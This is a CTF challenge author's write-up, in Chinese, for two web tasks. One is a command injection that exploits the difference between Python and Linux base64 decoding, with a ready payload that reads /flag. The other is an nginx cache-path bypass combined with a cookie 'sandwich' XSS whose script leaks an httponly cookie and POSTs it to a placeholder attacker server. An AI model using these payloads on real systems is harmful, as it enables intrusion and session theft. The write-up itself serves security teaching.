文章

N1CTF junior 2025 (2/2)出题小记

这次出了两个web题,一个ping一个unfinished

其中ping是当半个签到用的,效果也还算符合预期

但是unfinished被非预期麻了

直接document.cookie也能泄露出cookies,不用绕httponly(因为打错字了...

以下是wp

ping

这题乍一看神似当初入门web做的命令拼接

不过真的当单纯的命令拼接做的时候就会发现,这过滤几乎不可能绕过

def run_ping(ip_base64):
    try:
        decoded_ip = base64.b64decode(ip_base64).decode('utf-8')
        if not re.match(r'^\d+\.\d+\.\d+\.\d+$', decoded_ip):
            return False
        if decoded_ip.count('.') != 3:
            return False
        
        if not all(0 <= int(part) < 256 for part in decoded_ip.split('.')):
            return False
        if not ipaddress.ip_address(decoded_ip):
            return False
        if len(decoded_ip) > 15:
            return False
        if not re.match(r'^[A-Za-z0-9+/=]+$', ip_base64):
            return False
    except Exception as e:
        return False
    command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh"""
​
    try:
        process = subprocess.run(
            command,
            shell=True,
            check=True,
            capture_output=True,
            text=True
        )
        return process.stdout
    except Exception as e:
        return False

但是注意到命令的构建方式echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh

这里是将用户传入的base64用linux解码后拼接起来执行,然而过滤是先用python解码后过滤

这里便存在一个解析差异

python的base64库在解析时遇到字符串中间含有=的,会根据情况有不同的行为,我们可以通过在字符串的base64编码末尾加入base64来测试

import base64
​
text = ['SGVsbG8=SGVsbG8=', # Hello
        'RU5PQ0g=RU5PQ0g=', # ENOCH
        'Q1RGQ1RG',         # CTF
        'R29vZA==R29vZA==', # Good
        ]
​
for item in text:
    print(base64.b64decode(item))

输出则是

b'Hello'
b'ENOCH'
b'CTFCTF'
b'Good'

可以看到,python遇到字符换中有=会倾向于终止解析(在不同情况下,例如直接在完整base64中插入=,会出现不同的行为,可自行探索)

但是同样的情况,在linux下则不同

text="SGVsbG8=SGVsbG8= RU5PQ0g=RU5PQ0g= Q1RGQ1RG R29vZA==R29vZA=="
​
for item in $text
do
  echo "-------------------------------------"
  printf "  输入 ▸ %s\n" "$item"
  printf "  输出 ▸ "
  echo "$item" | base64 -d
  echo ""
done

输出则是

-------------------------------------
  输入 ▸ SGVsbG8=SGVsbG8=
  输出 ▸ HelloHello
-------------------------------------
  输入 ▸ RU5PQ0g=RU5PQ0g=
  输出 ▸ ENOCHENOCH
-------------------------------------
  输入 ▸ Q1RGQ1RG
  输出 ▸ CTFCTF
-------------------------------------
  输入 ▸ R29vZA==R29vZA==
  输出 ▸ GoodGood

可以看到这里全部都解析了两次,也就是说linux的base64遇到字符串中的=,会将其从中间拆开后分别解析。

利用这个特性,我们只需要发送两段base64,其中第一段的base64格式结尾有=,第二段则是正常的命令拼接

例如前半段是0.0.0.0后半段是;ls,拼接后则是MC4wLjAuMA==O2xz,然后将其以json格式发送即可看到命令回显

获取flag:

{
  "ip_base64": "MC4wLjAuMA==O2NhdCAvZmxhZw=="
}

Unfinished

题目实现了一个用户注册登录,更新bio并交给bot预览的功能

不过由于/api/bio会检验current_user.username == username

@app.route("/api/bio/<string:username>", methods=["GET"])
@login_required
def get_user_bio(username):
    if not current_user.username == username:
        return "Unauthorized", 401
    user = USERS_DB.get(username)
    if not user:
        return "User not found.", 404
    return user.bio

事实上bot并不能成功访问到用户的bio,因此这个功能不开放使用,并且将nginx配置为不允许访问/api/bio/端口

location / {
    proxy_pass http://127.0.0.1:5000;
}
​
location /api/bio/ {
    return 403;
}
​
location ~ \.(css|js)$ {
    proxy_pass http://127.0.0.1:5000;
    proxy_ignore_headers Vary;
    proxy_cache static_cache;
    proxy_cache_valid 200 10m;
}

但是由于nginx的规则是正则大于路径匹配,因此只需要将用户名设置为xxx.css即可让bot成功访问xxx.css用户的bio,并且由于缓存功能,这里也会绕过对登录的限制

现在问题就是如何获取一个httponly的cookie了

context.add_cookies([{
    'name': 'flag',
    'value': flag_value,
    'domain': 'localhost',
    'path': '/',
    'httponly': True
}])

我们可以使用三明治攻击

原理是利用cookie的值里可以带上引号,然而浏览器发送cookies的时候并不会对引号做额外的处理

如果有一个能控制并回显的cookie,用引号开头,并且设置另一个cookie用引号结尾,发送的请求头就类似于

Cookie: cookie1="1; cookie2=2"

然而此时后端解析时,会认为只有一个cookie1,值为1; cookie2=2

如果能对cookie进行排列,将httponly的cookie排列在中间,那么便能将其泄露

这里选用端口/ticket,会显示一个叫ticket的cookie。另外,我们需要排序,可以通过设置cookie的path来改变cookies发送时的顺序

最后写个脚本

<script>
  document.cookie = 'ticket="1; path=/ticket';
  document.cookie = 'flag2=2"; path=/';

  fetch("/ticket").then(r=>r.text()).then(t=>{let m=t.match(/flag\{[^}]+\}/);m&&fetch("http://YOURSERVER/",{method:"POST",body:"flag="+m[0]})});
</script>

这样子设置cookies之后,浏览器发送的请求头便类似于

Cookie: ticket="1; flag=flag{fake}; flag2=2",回显中会出现flag,然后便可以提取后发送出去

将脚本设置为bio然后手动访问一遍/api/bio/xxx.css来缓存,最后提交给bot访问即可

许可协议:  CC BY 4.0